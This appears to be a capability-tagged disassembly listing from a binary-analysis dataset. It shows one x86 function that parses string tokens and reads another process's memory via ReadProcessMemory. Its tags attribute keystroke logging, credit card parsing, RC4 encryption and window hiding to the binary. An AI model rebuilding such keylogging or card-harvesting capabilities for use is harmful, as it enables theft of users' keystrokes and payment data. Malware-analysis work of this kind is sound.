Function at 0x53e8d4
Capabilities:
Check for unmoving mouse cursor
Encrypt data using rc4 ksa
Get graphical window text
Get keyboard layout
Hide graphical window
Log keystrokes
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0x203
push 0
push 0
dec ecx
jne 0x53e8dd
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x30]
call fcn.00405488
xor eax, eax
push ebp
push 0x553687
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 0x48]
call fcn.00404fd8
mov byte [ebp - 0xd1], 0
mov eax, dword [ebp - 0x30]
call fcn.00405298
test eax, eax
jle 0x53ea36
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x5c], 1
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x5c]
cmp byte [eax + edx - 1], 0x22
jne 0x53e98a
cmp byte [ebp - 0xd1], 0
je 0x53e956
mov byte [ebp - 0xd1], 0
jmp 0x53e98a
mov eax, dword [ebp - 0x30]
call fcn.00405298
mov dword [ebp - 0x54], eax
jmp 0x53e966
dec dword [ebp - 0x54]
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x54]
cmp byte [eax + edx - 1], 0x22
je 0x53e97b
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x5c]
jg 0x53e963
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x5c]
jle 0x53e98a
mov byte [ebp - 0xd1], 1
mov esi, 0x55369c
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, dword [0x59046c]
mov cl, 0x20
call fcn.00403c6c
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x5c]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
setb al
or al, byte [ebp - 0xd1]
jne 0x53e9e7
cmp dword [ebp - 0x34], 0
jge 0x53ea0c
mov eax, dword [ebp - 0x34]
mov edx, eax
neg eax
cmp ebx, eax
jne 0x53ea0c
cmp dword [ebp - 0x48], 0
je 0x53ea0c
lea eax, [ebp - 0x9d0]
mov edx, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x5c]
mov dl, byte [edx + ecx - 1]
call fcn.004051c0
mov edx, dword [ebp - 0x9d0]
lea eax, [ebp - 0x48]
call fcn.004052a0
jmp 0x53ea27
cmp dword [ebp - 0x48], 0
je 0x53ea27
cmp ebx, dword [ebp - 0x34]
je 0x53ea36
inc ebx
lea eax, [ebp - 0x48]
call fcn.00404fd8
mov byte [ebp - 0xd1], 0
inc dword [ebp - 0x5c]
dec dword [ebp - 0x2a0]
jne 0x53e937
cmp dword [ebp - 0x34], 0
jge 0x53ea4f
mov eax, dword [ebp - 0x34]
mov edx, eax
neg eax
cmp ebx, eax
jge 0x53ea4f
lea eax, [ebp - 0x48]
call fcn.00404fd8
mov eax, dword [ebp + 8]
call fcn.00404fd8
cmp dword [ebp - 0x34], 0
jne 0x53ea83
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x48]
call fcn.0040b05c
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov edx, dword [ebp - 0x5c]
sub edx, eax
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x105bc4], edx
jmp 0x553567
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x48]
call fcn.0040502c
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov edx, dword [ebp - 0x5c]
sub edx, eax
mov eax, dword [ebp - 0x18]
mov dword [eax + 0x105bc0], edx
cmp dword [ebp - 0x34], 0
jle 0x53eaaf
cmp ebx, dword [ebp - 0x34]
jne 0x53eaba
cmp ebx, dword [ebp - 0x34]
jne 0x53ead2
cmp dword [ebp - 0x48], 0
jne 0x53ead2
mov eax, dword [ebp + 8]
call fcn.00404fd8
mov eax, dword [ebp - 0x18]
xor edx, edx
mov dword [eax + 0x105bc0], edx
jmp 0x553567
lea eax, [ebp - 0xa8]
push eax
xor ecx, ecx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
call fcn.0053e8d4
mov eax, dword [ebp - 0xa8]
mov edx, 0x5536c4
call fcn.004053e4
sete byte [ebp - 0x195]
mov eax, dword [ebp - 0xa8]
mov edx, 0x5536d8
call fcn.004053e4
sete byte [ebp - 0x196]
cmp dword [ebp - 0x34], 4
jle 0x53eba0
mov eax, dword [ebp - 0xa8]
mov edx, 0x5536ec
call fcn.004053e4
je 0x53eba0
mov eax, dword [ebp - 0xa8]
mov edx, 0x5536fc
call fcn.004053e4
je 0x53eba0
mov eax, dword [ebp - 0xa8]
mov edx, 0x55370c
call fcn.004053e4
je 0x53eba0
mov eax, dword [ebp - 0xa8]
mov edx, 0x553720
call fcn.004053e4
je 0x53eba0
mov eax, dword [ebp - 0xa8]
mov edx, 0x553734
call fcn.004053e4
je 0x53eba0
mov eax, dword [ebp - 0xa8]
mov edx, 0x553744
call fcn.004053e4
je 0x53eba0
cmp byte [ebp - 0x195], 0
jne 0x53eba0
cmp byte [ebp - 0x196], 0
je 0x553567
cmp dword [ebp - 0x34], 1
jne 0x53ebfe
mov eax, dword [ebp - 0xa8]
mov edx, 0x553758
call fcn.004053e4
je 0x553567
mov eax, dword [ebp - 0xa8]
mov edx, 0x553764
call fcn.004053e4
je 0x553567
mov eax, dword [ebp - 0xa8]
mov edx, 0x553770
call fcn.004053e4
je 0x553567
mov eax, dword [ebp - 0xa8]
mov edx, 0x553780
call fcn.004053e4
je 0x553567
mov eax, dword [ebp - 0xa8]
mov edx, 0x553794
call fcn.004053e4
je 0x553567
xor eax, eax
mov dword [ebp - 0xc8], eax
mov byte [ebp - 0xc9], 0
xor eax, eax
mov dword [ebp - 0xd0], eax
cmp byte [ebp - 0x196], 0
jne 0x552584
mov eax, dword [ebp - 0xa8]
mov edx, 0x5537a0
call fcn.004053e4
je 0x53ec6e
mov eax, dword [ebp - 0xa8]
mov edx, 0x5537b0
call fcn.004053e4
je 0x53ec6e
mov eax, dword [ebp - 0xa8]
mov edx, 0x5537c4
call fcn.004053e4
jne 0x53ec77
mov byte [ebp - 0xc2], 1
jmp 0x53ec7e
mov byte [ebp - 0xc2], 0
mov eax, dword [0x590710]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jl 0x55256b
inc eax
mov dword [ebp - 0x2a0], eax
mov dword [ebp - 0x50], 0
cmp dword [ebp - 0x50], 0xc8
jl 0x53ecb7
cmp dword [ebp - 0x50], 0xdb
jle 0x55255c
lea ecx, [ebp - 0x4c]
mov eax, dword [0x590710]
mov eax, dword [eax]
mov edx, dword [ebp - 0x50]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp byte [ebp - 0xc2], 0
je 0x53ece2
lea eax, [ebp - 0x4c]
mov ecx, dword [ebp - 0x4c]
mov edx, 0x5537d8
call fcn.004052e4
lea edx, [ebp - 0x9d4]
mov eax, dword [ebp - 0x48]
call fcn.0040af24
mov edx, dword [ebp - 0x9d4]
mov eax, dword [ebp - 0x4c]
call fcn.004055dc
mov dword [ebp - 0x54], eax
xor eax, eax
mov dword [ebp - 0x58], eax
mov edx, dword [ebp - 0x48]
mov eax, 0x5537e4
call fcn.004055dc
test eax, eax
setg byte [ebp - 0xd2]
mov eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x58]
jle 0x55255c
mov byte [ebp - 0xc1], 0
xor eax, eax
push ebp
push 0x53ef8d
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 0x54], 1
jle 0x53eddc
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x5537e8
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x54]
mov al, byte [eax + edx - 2]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x53eddc
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x9d8]
push eax
lea edx, [ebp - 0x9dc]
mov eax, dword [ebp - 0x48]
call fcn.0040af24
mov eax, dword [ebp - 0x9dc]
push eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov ecx, eax
sub ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x54]
inc edx
pop eax
call fcn.004054f8
mov edx, dword [ebp - 0x9d8]
mov eax, dword [ebp - 0x4c]
call fcn.004055dc
add dword [ebp - 0x54], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x552550
mov eax, dword [ebp - 0x4c]
call fcn.00405298
add eax, dword [ebp - 0x54]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x2c]
jl 0x53ef74
mov eax, dword [0x59046c]
mov esi, eax
lea edi, [ebp - 0x9cc]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x9cc]
mov edx, 0x553808
mov cl, 0x20
call fcn.00403c78
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x2c]
mov al, byte [eax + edx - 1]
and eax, 0xff
bt dword [ebp - 0x9cc], eax
jae 0x53ef74
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x2c]
cmp byte [eax + edx - 1], 0x2e
jne 0x53ef1d
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x98]
call fcn.00404fd8
jmp 0x53ee94
lea eax, [ebp - 0x9e0]
mov edx, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x9c]
mov dl, byte [edx + ecx - 1]
call fcn.004051c0
mov edx, dword [ebp - 0x9e0]
lea eax, [ebp - 0x98]
call fcn.004052a0
inc dword [ebp - 0x9c]
mov eax, dword [ebp - 0x48]
call fcn.00405298
cmp eax, dword [ebp - 0x9c]
jl 0x53eec1
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x9c]
mov al, byte [eax + edx - 1]
mov edx, dword [0x59046c]
and eax, 0xff
bt dword [edx], eax
jb 0x53ee65
mov edx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x18]
call fcn.0055409c
mov dword [ebp - 0x9c], eax
mov eax, dword [ebp - 0x9c]
mov dword [ebp - 0xd0], eax
mov eax, dword [0x5904ec]
mov edx, dword [ebp - 0x9c]
mov eax, dword [eax + edx*4]
mov eax, dword [eax + 0x88]
mov dword [ebp - 0xc8], eax
mov byte [ebp - 0xc9], 1
mov eax, dword [ebp - 0x98]
call fcn.00405298
mov ecx, eax
inc ecx
lea eax, [ebp - 0x48]
mov edx, dword [ebp - 0x2c]
call fcn.00405538
jmp 0x53ef83
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x9e4]
push eax
lea edx, [ebp - 0x9e8]
mov eax, dword [ebp - 0x48]
call fcn.0040af24
mov eax, dword [ebp - 0x9e8]
push eax
mov eax, dword [ebp - 0x48]
call fcn.00405298
mov ecx, eax
sub ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x54]
inc edx
pop eax
call fcn.004054f8
mov edx, dword [ebp - 0x9e4]
mov eax, dword [ebp - 0x4c]
call fcn.004055dc
add dword [ebp - 0x54], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x552550
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x43c8]
mov dword [ebp - 0xc8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x53ef97
cmp byte [ebp - 0xd2], 0
je 0x53efd6
mov byte [ebp - 0xd1], 0
mov eax, dword [ebp - 0x54]
cmp eax, 1
jl 0x53efd6
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x2c]
cmp byte [eax + edx - 1], 0x22
jne 0x53efcd
mov al, byte [ebp - 0xd1]
xor al, 1
mov byte [ebp - 0xd1], al
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0
jne 0x53efb2
cmp byte [ebp - 0xd1], 0
jne 0x5524e1
mov eax, dword [ebp - 0x4c]
call fcn.00405298
mov esi, eax
lea eax, [ebp - 0x194]
push eax
mov ecx, esi
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x48]
call fcn.004054f8
lea eax, [ebp - 0x48]
mov ecx, esi
mov edx, dword [ebp - 0x54]
call fcn.00405538
mov esi, dword [ebp - 0x54]
lea edx, [ebp - 0x9ec]
mov eax, dword [ebp - 0x4c]
call fcn.0040b05c
mov edx, dword [ebp - 0x9ec]
mov eax, dword [0x590710]
mov eax, dword [eax]
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0xc0]
inc eax
cmp eax, 0x11e
ja case.default.0x53f054
mov al, byte [eax + 0x53f05b]
and eax, 0xff
jmp dword [eax*4 + 0x53f17a]
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x76f]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x53f5bd
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590464]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5905ec]
cmp dword [edx + eax*4], 1
jne 0x53f43a
add dword [ebp - 0x10], 0x8c
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne al
or al, byte [ebp - 0xc1]
mov byte [ebp - 0xc1], al
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5905ec]
mov eax, dword [edx + eax*4]
add eax, 0xfffffffb
sub eax, 3
jae 0x53f4be
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5905ec]
cmp dword [edx + eax*4], 7
jne 0x53f46f
add dword [ebp - 0x10], 8
add dword [ebp - 0x10], 0xc4
lea eax, [ebp - 0x84]
push eax
push 0x50
lea eax, [ebp - 0x544]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 0x50
setne al
or al, byte [ebp - 0xc1]
mov byte [ebp - 0xc1], al
lea eax, [ebp - 0x544]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x7c], 0x20
jmp 0x53f50b
add dword [ebp - 0x10], 0xa4
lea eax, [ebp - 0x84]
push eax
push 0x3c
lea eax, [ebp - 0x30c]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 0x3c
setne al
or al, byte [ebp - 0xc1]
mov byte [ebp - 0xc1], al
lea eax, [ebp - 0x30c]
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x7c], 0x25
mov dword [ebp - 0x9c], 1
lea eax, [ebp - 0x98]
call fcn.00404fd8
jmp 0x53f579
mov eax, dword [ebp - 0x78]
cmp byte [eax], 0
je 0x53f53a
mov eax, dword [ebp - 0x78]
mov edx, dword [ebp - 0x9c]
cmp byte [eax + edx - 1], 0
je 0x53f5a7
mov eax, dword [ebp - 0x78]
mov edx, dword [ebp - 0x9c]
cmp byte [eax + edx - 1], 0
je 0x53f573
lea eax, [ebp - 0x9f0]
mov edx, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x9c]
mov dl, byte [edx + ecx - 1]
call fcn.004051c0
mov edx, dword [ebp - 0x9f0]
lea eax, [ebp - 0x98]
call fcn.004052a0
inc dword [ebp - 0x9c]
mov eax, dword [ebp - 0x78]
mov edx, dword [ebp - 0x9c]
cmp byte [eax + edx - 1], 0
jne 0x53f598
mov eax, dword [ebp - 0x78]
mov edx, dword [ebp - 0x9c]
cmp byte [eax + edx], 0
je 0x53f5a7
mov eax, dword [ebp - 0x9c]
cmp eax, dword [ebp - 0x7c]
jl 0x53f522
lea eax, [ebp - 0x40c]
mov edx, dword [ebp - 0x98]
mov ecx, 0xff
call fcn.00405274
cmp byte [ebp - 0xc1], 0
je 0x53f5d6
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp case.0x53f900.7
mov byte [ebp - 0x76f], 1
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5905ec]
mov eax, dword [edx + eax*4]
add eax, 0xfffffffb
sub eax, 2
jae 0x53f8f1
mov eax, dword [ebp - 0xc0]
cmp eax, 0x48
ja case.0x53f900.7
mov al, byte [eax + 0x53f618]
jmp dword [eax*4 + 0x53f661]
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0x40c]
call fcn.0040523c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movsx eax, word [ebp - 0x51e]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movsx eax, word [ebp - 0x516]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movsx eax, word [ebp - 0x51a]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movsx eax, word [ebp - 0x524]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movsx eax, word [ebp - 0x520]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movsx eax, word [ebp - 0x522]
call fcn.0040b57c
jmp case.0x53f900.7
mov eax, dword [ebp - 0x510]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
jmp case.0x53f900.7
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5903c4]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x80]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x80]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x508]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x502]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x500]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x4fe]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x4fc]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x4fa]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x4f6]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movsx eax, word [ebp - 0x51c]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movsx eax, word [ebp - 0x514]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movsx eax, word [ebp - 0x518]
call fcn.0040b57c
jmp case.0x53f900.7
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5903c4]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x80]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x7e]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x4f8]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
xor eax, eax
mov al, byte [ebp - 0x504]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
xor eax, eax
mov al, byte [ebp - 0x503]
call fcn.0040b57c
jmp case.0x53f900.7
mov eax, dword [ebp - 0xc0]
cmp eax, 0xf
ja case.0x53f900.7
jmp dword [eax*4 + 0x53f907]
lea eax, [ebp - 0x1c]
lea edx, [ebp - 0x40c]
call fcn.0040523c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x2e6]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x2de]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x2e2]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x2e4]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x2dc]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x2e0]
call fcn.0040b57c
jmp case.0x53f900.7
mov eax, dword [ebp - 0x2d8]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x1c]
call fcn.0040b668
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x2d2]
call fcn.0040b57c
jmp case.0x53f900.7
lea edx, [ebp - 0x1c]
movzx eax, word [ebp - 0x2d4]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
cmp byte [ebp - 0x195], 0
jne 0x53fc35
mov al, byte [ebp - 0x768]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x53fbdf
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x5903b8]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne byte [ebp - 0xc1]
lea eax, [ebp - 0x84]
push eax
push 4
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 4
setne al
or al, byte [ebp - 0xc1]
mov byte [ebp - 0xc1], al
xor eax, eax
mov dword [ebp - 0x214], eax
lea eax, [ebp - 0x84]
push eax
push 0x10
mov eax, dword [ebp - 0x214]
lea eax, [ebp + eax - 0x650]
push eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x214]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 0x10
setne al
or al, byte [ebp - 0xc1]
mov byte [ebp - 0xc1], al
add dword [ebp - 0x214], 0x10
cmp dword [ebp - 0x214], 0x100
jae 0x53fb48
lea eax, [ebp - 0x84]
push eax
push 0x10
mov eax, dword [ebp - 0x214]
lea eax, [ebp + eax - 0x650]
push eax
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x214]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
add dword [ebp - 0x214], 0x10
cmp dword [ebp - 0x214], 0x100
jb 0x53fb08
cmp byte [ebp - 0xc1], 0
jne 0x53fbcf
xor eax, eax
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x98]
call fcn.00404fd8
cmp byte [ebp - 0x64f], 0x20
jb 0x53fbb0
jmp 0x53fb9e
lea eax, [ebp - 0x9f4]
mov edx, dword [ebp - 0x9c]
mov dl, byte [ebp + edx - 0x650]
call fcn.004051c0
mov edx, dword [ebp - 0x9f4]
lea eax, [ebp - 0x98]
call fcn.004052a0
inc dword [ebp - 0x9c]
mov eax, dword [ebp - 0x9c]
cmp byte [ebp + eax - 0x650], 0
jne 0x53fb6f
jmp 0x53fbdf
lea eax, [ebp - 0x650]
mov dword [ebp - 0xa0], eax
lea edx, [ebp - 0x98]
mov eax, dword [ebp - 0xa0]
call fcn.00405f38
jmp 0x53fbdf
lea eax, [ebp - 0x98]
mov edx, 0x553830
call fcn.00405070
mov byte [ebp - 0x768], 1
lea eax, [ebp - 0x1c]
mov edx, dword [ebp - 0x98]
call fcn.00405070
cmp byte [ebp - 0x195], 0
je 0x53fc17
push 0x5537e4
push dword [ebp - 0x1c]
push 0x5537e4
lea eax, [ebp - 0x1c]
mov edx, 3
call fcn.00405358
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
lea edx, [ebp - 0x48]
mov ecx, esi
mov eax, dword [ebp - 0x194]
call fcn.00405580
mov eax, dword [ebp - 0x194]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
mov al, byte [ebp - 0x767]
xor al, 1
or al, byte [ebp - 0xc9]
je 0x53fcaf
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590608]
mov eax, dword [edx + eax*4]
sub eax, 4
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 0xc
lea eax, [ebp - 0x550]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
cmp dword [ebp - 0x84], 0xc
setne byte [ebp - 0xc1]
cmp byte [ebp - 0xc1], 0
je 0x53fcc8
lea edx, [ebp - 0x1c]
or eax, 0xffffffff
call fcn.0040b57c
jmp case.0x53fda8.8
mov byte [ebp - 0x767], 1
mov eax, dword [ebp - 0x18]
cmp byte [eax + 0x419c], 8
jne 0x53fd94
mov eax, dword [ebp - 0xc0]
add eax, 0xfffffff8
cmp eax, 0x19
ja case.0x53fda8.8
mov al, byte [eax + 0x53fcfe]
jmp dword [eax*4 + 0x53fd18]
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x550]
call fcn.0040b57c
jmp case.0x53fda8.8
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x54c]
call fcn.0040b57c
jmp case.0x53fda8.8
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax + 0x419c]
mov edx, dword [0x590460]
mov eax, dword [edx + eax*4]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x84]
push eax
push 0xc
lea eax, [ebp - 0x550]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc8]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x550]
call fcn.0040b57c
jmp case.0x53fda8.8
mov eax, dword [ebp - 0xc0]
add eax, 0xfffffff8
cmp eax, 0x19
ja case.0x53fda8.8
mov al, byte [eax + 0x53fdaf]
jmp dword [eax*4 + 0x53fdc9]
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x548]
call fcn.0040b57c
jmp case.0x53fda8.8
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x54c]
call fcn.0040b57c
jmp case.0x53fda8.8
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 0x550]
call fcn.0040b57c
lea edx, [ebp - 0x48]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x1c]
call fcn.00405580
mov eax, dword [ebp - 0x1c]
call fcn.00405298
add dword [ebp - 0x54], eax
jmp 0x5523d0
cmp byte [ebp - 0x765], 0
jne 0x53fec3
call fcn.0040d7b0
add esp, 0xfffffff8
fstp qword [esp]
wait
lea eax, [ebp - 0xa8]
call fcn.0040e56c
lea eax, [ebp - 0x20]
push eax
mov edx, dword [ebp - 0xa8]
mov eax, 0x553840
call fcn.004055dc
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0xa8]
call fcn.004054f8
lea eax, [ebp - 0x24]
push eax
mov edx, dword [ebp - 0xa8]
mov eax, 0x553840
call fcn.004055dc
mov edx, eax
inc edx
mov ecx, 2
mov eax, dword [ebp - 0xa8]
call fcn.004054f8
lea eax, [ebp - 0xb0]
push eax
mov edx, dword [ebp - 0xa8]
mov eax, 0x553840
call fcn.004055dc
mov edx, eax
